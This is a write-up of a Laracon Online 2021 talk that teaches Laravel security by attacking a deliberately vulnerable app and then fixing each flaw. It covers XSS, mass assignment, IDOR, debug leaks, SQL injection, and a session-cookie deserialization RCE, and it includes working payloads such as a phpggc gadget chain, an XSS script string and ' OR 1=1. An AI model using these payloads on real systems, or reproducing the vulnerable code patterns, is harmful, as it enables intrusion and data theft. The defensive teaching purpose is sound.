Think Like a Hacker (for Laravel)

“Think Like a Hacker” presented at Laracon Online 2021

Laravel comes with many secure options enabled by default, and a bunch of helpful features that you can use to secure the rest. This helpfulness is a double-edged sword though, and you can easily begin to overlook the security implications of using specific features and end up writing insecure code without even realising it. There are plenty of guides and checklists online, such as the OWASP Top Ten, to teach you about web app security, however since a lot of people learn better by doing, we’re going to hack into a Laravel app to learn how to secure it!

We will target a vulnerable Laravel application, attacking common weaknesses and misconfigurations to compromise the app. After every attack, we will make the required changes to fix the vulnerability, and then attempt the attack again, hopefully unsuccessfully this time! The goal is to think like a hacker, learning what types of vulnerabilities exist and how they are exploited, so we can write secure code and protect our apps from attack.

Presented at

Talk Notes

“Think Like a Hacker”

Wordfence Motto

The idea behind “Think Like a Hacker” is that if you can identify potential vulnerabilities and how they can be used to compromise your site, it puts you in a much better position to defend your site.

This mentality is important because it is very hard, if not impossible, to block an attack you don’t understand and don’t see coming. It is also quite easy to be distracted by superficial changes and security through obscurity (i.e. hiding something and hoping no one finds it), and ignore the bigger risks to your site.

My intention through demonstrating these vulnerabilities is to teach the mindset of a hacker by showing the different types of attacks that are possible and how they can be used.

I changed some of the vulnerabilities in Laravel Online 2021. I’ve included notes from the original talk as well as the updated version below.

Password Security

Users are lazy and they reuse passwords, which makes securing accounts and logins difficult. The problem occurs when a site has a data breach and their database is leaked. If the database contains plain-text (or easily cracked or decrypted) passwords, then the hacker ends up with a list of working usernames and passwords. Since users are lazy, these usernames and passwords will work on other sites – giving hackers a trivial way to login. These this is called Credential Stuffing.

The solution is to use a randomly generated unique password for every site, and a password manager to generate and remember these passwords. Password manages are easy to use, and come built into all major browsers, and are also provided by third-parties for more flexibility (I recommend 1Password). However, you can’t force your users to use a password manager. Instead, you can prevent your users from using known bad passwords by checking passwords through Troy Hunt’s Pwned Passwords service.

Laravel’s built-in Password rule includes an uncompromised() method for automatically checking Pwned Passwords, and preventing users from providing known bad passwords.

use Illuminate\Support\Facades\Validator;
use Illuminate\Validation\Rules\Password;

$validator = Validator::make($request->all(), [
    'password' => ['required', 'confirmed', Password::min(8)->uncompromised()],
]);

Note: this will block password use entirely. This isn’t a problem for echnical users, but if your users have no idea what a “pwned password” is, you may need to consider accepting bad passwords but adding other authentication methods, or further user education.

What to do:

  • Use a randomly generated unique password for every site you access. You can use a service like 1Password to manage your passwords.
  • Use Laravel’s Password rule with the uncompromised() method to prevent users from using known passwords. This will prevent a lot of password reuse.
  • Enable Multi-Factor Authentication, so even though the user password may be compromised, the MFA protection will block the login attempt.

Don’t Trust Users (XSS – Stored Cross-Site Scripting)

It’s easy to fall into the trap of trying to be clever and overlook malicious intentions of users. When displaying user textbox input, it’s easy to fall into the trap of not escaping the output, so you can get newlines displaying nicely.

Consider this code:

<div>
    {!! nl2br($message->message) !!}
</div>

This will allow the user to inject and execute any javascript they like on the page. If this page can be shared with other users, they can trick a user (or admin) into loading the page and executing malicious javascript. If it’s an admin, that’s game over – the admin account can make new accounts, change settings, etc.

The message needs to be escaped, either do it before passing the message into something like nl2br():

<div>
    {!! nl2br(e($message->message)) !!}
</div>	

Or let CSS tell the browser to do the work for us:

<div style="white-space: pre-line">
    {{ $message->message }}
</div>

You can also add a Content Security Policy onto the site, to prevent any unwanted javascript from executing. This can be done via global middleware or the web server configuration, to ensure it applies across all pages.

What to do:

  • Always escape user input. Always.
  • Use CSS to get the browser to render formatting, rather than allowing/adding markup and potentially opening up user input.
  • Use a Content Security Policy to prevent unwanted script includes from executing.

Be Careful With Magic – Mass-Assignment Abuse

A common code pattern is to pass request data into a model via the update() method, and rely on the model to update all of the provided properties. It could look something like this:

Route::post('/account', function () {
    Auth::user()->update(request()->all());

    return redirect('/account')->with('status', 'Updated account');
});

But what if this code is present in the User model:

protected $fillable = [
  'name', 'email', 'password', 'admin',
];

Anyone would be able to make themselves an admin by adding an admin field into the form and submitting the value of 1. Super simple. Sure, you’d need to know it was there, but the admin flag on a User model isn’t that unexpected.

The most obvious fix would be to remove admin from the $fillable array on the model, but that could break some part of the admin interface. Instead, I recommend pulling only the required fields out of the validator.

$data = request()->validate([
	'name' => 'required',
	'email' => 'required',
]);

Auth::user()->update($data);

This ensures that you know exactly what fields you’re dealing with, and can limit fields per route, rather than per model.

What do do:

  • Keep $fillable updated to lock down fields that shouldn’t be updated.
  • Use the request validator to only return the fields you know you want filled.

Password Brute Force

Laravel includes rate limiting and brute force protection on the login form, as part of it’s default authenticating scaffolding. It is worth nothing however that this is locked to the email and requesting IP address. A determined attacker could easily rotate IP addresses to bypass the block and continue to attack your site.

Unfortunately there are limited protections against this sort of attack without affecting the legitimate user. You can rate limit by email alone, however a legitimate user could be caught up in the block.

There are some steps you can take to limit the risk, which come back to proper password hygiene.

What to do:

Same steps as Email Enumeration above.

Stored Cross-Site Scripting (XSS) in Component Attributes

Security: Laravel 7.1.2 Released – Mar, 13 2020
Today we released Laravel 7.1.2 to address a possible XSS related attack vector in the Laravel 7.x Blade Component tag attributes when users are allowed to dictate the value of attributes. All Laravel 7.x users are encouraged to upgrade as soon as possible.

We would like to thank community member Anders Fajerson for bringing this to our attention.

In Laravel 7.x prior to 7.1.2, a Cross-Site Scripting (XSS) vulnerability exists in the Component Attributes logic. This vulnerability allows an attacker to inject custom content into the page, opening up the possibility for a Cross-Site Scripting attack against the site.

Consider the following code within a Blade Component:

<abbr {{ $attributes }}>{{ $slot }}</abbr>

The {{ $attributes }} automatically expands to the extra attributes provided on the Component definition.

Such as in this component tag:

<x-truncate :title="$user->name">{{ $user->name }}</x-truncate>

The component effectively renders as this:

<abbr title="{!! $user->name !!}">{{ truncate($user->name) }}</abbr>

In which case, all the attacker needs to do is include a "> and they can inject whatever HTML/Javascript they like to the page. The component code was doing a basic str_replace('"', '\"', $value), however this was trivial to bypass with this payload:

Evil Hacker\"><script>alert('Boom! Pwned!);</script>

The fix implemented in Laravel 7.1.2 properly escapes all values before rendering the component, preventing the escape from the attribute.

While this may be considered an obscure vulnerability, it presents a critical risk to the user if exploited. XSS, running Javascript in a victim’s browser, presents an end-game scenario where the attacker can gain full control over the victim’s account and even the site, if the victim has the right privileges.

What to do:

  • Keep an eye on Laravel security notifications and update Laravel to the latest version as soon as possible.

Insecure Direct Object Reference (IDOR) without Proper Authorization

It is incredibly easy to forget to authorise requests to specific resources. Consider the scenario where only the user who wrote a message is allowed to view the message. They can view each of their messages at the path, with the id of each message in the URL:

https://valorin.dev/messages/<id>

Even if you only present the user URLs for their messages, without proper authorization they can just change the id in the URL.

For example, a user with access to https://valorin.dev/messages/10 could change the URL to https://valorin.dev/messages/5 and view someone else’s messages.

The fix for this is to use Policies, which are built into Laravel. With these you can define policy rules and add middleware to block access.

In the following git diff, you can see a basic policy for allowing a User to view a Message:

diff --git a/app/Policies/MessagePolicy.php b/app/Policies/MessagePolicy.php
new file mode 100644
index 0000000..ac7171d
--- /dev/null
+++ b/app/Policies/MessagePolicy.php
@@ -0,0 +1,16 @@
+<?php
+namespace App\Policies;
+
+use App\Message;
+use App\User;
+use Illuminate\Auth\Access\HandlesAuthorization;
+
+class MessagePolicy
+{
+    use HandlesAuthorization;
+
+    public function view(User $user, Message $message)
+    {
+        return $user->id === $message->user_id;
+    }
+}
diff --git a/routes/web.php b/routes/web.php
index 2d2249b..d4ae93f 100644
--- a/routes/web.php
+++ b/routes/web.php
@@ -48,7 +48,7 @@ Route::post('/messages', function () {

 Route::get('/messages/{message}', function (Message $message) {
     return view('message', compact('message'));
-});
+})->middleware('can:view,message');

 Route::get('/admin', function () {
     abort_if(Auth::id() !== 1, 404);

What to do:

Information Leakage via Debug Mode

Sending unexpected parameters and data to a site can cause it to throw an error. In the following screenshot, the GET parameter key[]= was sent instead of key=<string>. This caused the strcmp() comparison function to throw an error, and the debug page was displayed.

Laravel Debug page on unexpected input

This is the result of leaving APP_DEBUG=true set in the .env file. This is a huge security risk to any site, as the debug page leaks a significant amount of sensitive information about the site. In the screenshot alone it shows the entire database record for the Message model – including the sharing key!

What to do:

  • ALWAYS set APP_DEBUG=false in the .env file.
  • ALWAYS set APP_DEBUG=false in the .env file.
  • ALWAYS set APP_DEBUG=false in the .env file.

Seriously, that’s all you need to do.

Remote Code Execution through Session Cookie Deserialization

Security Release: Laravel 6.18.29, 7.22.2 – Jul, 27 2020
Today we have released a security patch for Laravel versions 6.x and 7.x. These releases have been released as Laravel 6.18.29 and 7.22.2. All Laravel users are encouraged to upgrade to these versions as soon as possible.

Upgrading to these versions will invalidate any existing cookies issued by your application; therefore, your application’s users will need to re-authenticate.

Laravel Cookie Security Releases – Jul, 27 2020

Application’s using the “cookie” session driver were the primary applications affected by this vulnerability.

[…]

Regarding the vulnerability, applications using the “cookie” session driver that were also exposing an encryption oracle via their application were vulnerable to remote code execution. An encryption oracle is a mechanism where arbitrary user input is encrypted and the encrypted string is later displayed or exposed to the user. This combination of scenarios lets the user generate valid Laravel signed encryption strings for any plain-text string, thus allowing them to craft Laravel session payloads when an application is using the “cookie” driver.

This vulnerability affects a very specific scenario and configuration. You need to have the cookie session enabled, and you also need to allow users to encrypt information using the site APP_KEY. If both of these were present, an attacker could construct a specific payload, forge a fake session payload, encrypt it using the APP_KEY, and then override the cookie in the browser to deliver the payload.

If you’re unsure what a deserialization attack is, these are great posts which explain the process:

Let’s look at how we attack this specific vulnerability:

First, we can use PHPGGC to generate a payload for the deserialization attack. When the payload is deserialized, we want it to run dd(config()); and dump the entire config array to the screen.

$ ./phpggc -a Laravel/RCE6  "dd(config());"
O:29:"Illuminate\Support\MessageBag":2:{S:11:"\00*\00messages";a:0:{}S:9:"\00*\00format";O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:28:"<?php dd(config()); exit; ?>";}}}}

Next we need to wrap it into the JSON cookie payload:

"{"data":"O:29:\"Illuminate\\Support\\MessageBag\":2:{S:11:\"\\00*\\00messages\";a:0:{}S:9:\"\\00*\\00format\";O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{S:9:\"\\00*\\00events\";O:25:\"Illuminate\\Bus\\Dispatcher\":1:{S:16:\"\\00*\\00queueResolver\";a:2:{i:0;O:25:\"Mockery\\Loader\\EvalLoader\":0:{}i:1;S:4:\"load\";}}S:8:\"\\00*\\00event\";O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":1:{S:10:\"connection\";O:32:\"Mockery\\Generator\\MockDefinition\":2:{S:9:\"\\00*\\00config\";O:35:\"Mockery\\Generator\\MockConfiguration\":1:{S:7:\"\\00*\\00name\";S:7:\"abcdefg\";}S:7:\"\\00*\\00code\";S:28:\"\u003C?php dd(config()); exit; ?\u003E\";}}}}","expires":2596496920}"

Now we jump over to our encryption oracle, to encrypt our JSON string with the APP_KEY.

Forged cookie payload encrypted using APP_KEY.

Once we have the encrypted cookie payload, we need to modify the cookie value in the browser using the browser tools.

Modifying the cookie value in the browser

Now we can submit another request to the server and we should see the site config:

Site config dumped to the page.

What to do:

  • Keep an eye on Laravel security notifications and update Laravel to the latest version as soon as possible.
  • Never let a user encrypt their own content using your APP_KEY. Always generate a secondary key, to avoid potential vulnerabilities that rely on encryption.

SQL Injection from Non-Parameterized Query

Consider the following code:

Route::get('/verify', function () {
    if ($search = request('search')) {
        $message = Message::whereRaw("encrypted LIKE '{$search}%'")->first();
    }

    return view('verify', ['message' => $message ?? null]);
});

Do you see the vulnerability?

The search parameter is passed straight into the query builder, which allows direct access to an SQL Injection attack. All the attacker needs to do is pass ' OR 1=1 in and the code will return the first message.

The fix is trivial:

$message = Message::where("encrypted", "LIKE", "{$search}%")->first();

Writing the query like this passes the search value in as a parameter to a prepared statement. The MySQL engine will ensure the value within search cannot modify the query itself – regardless of what it contains. This completely prevents SQL Injection and fixes the vulnerability.

What to do:

  • Use the query builder to safely pass in parameters and avoid SQL injection attacks.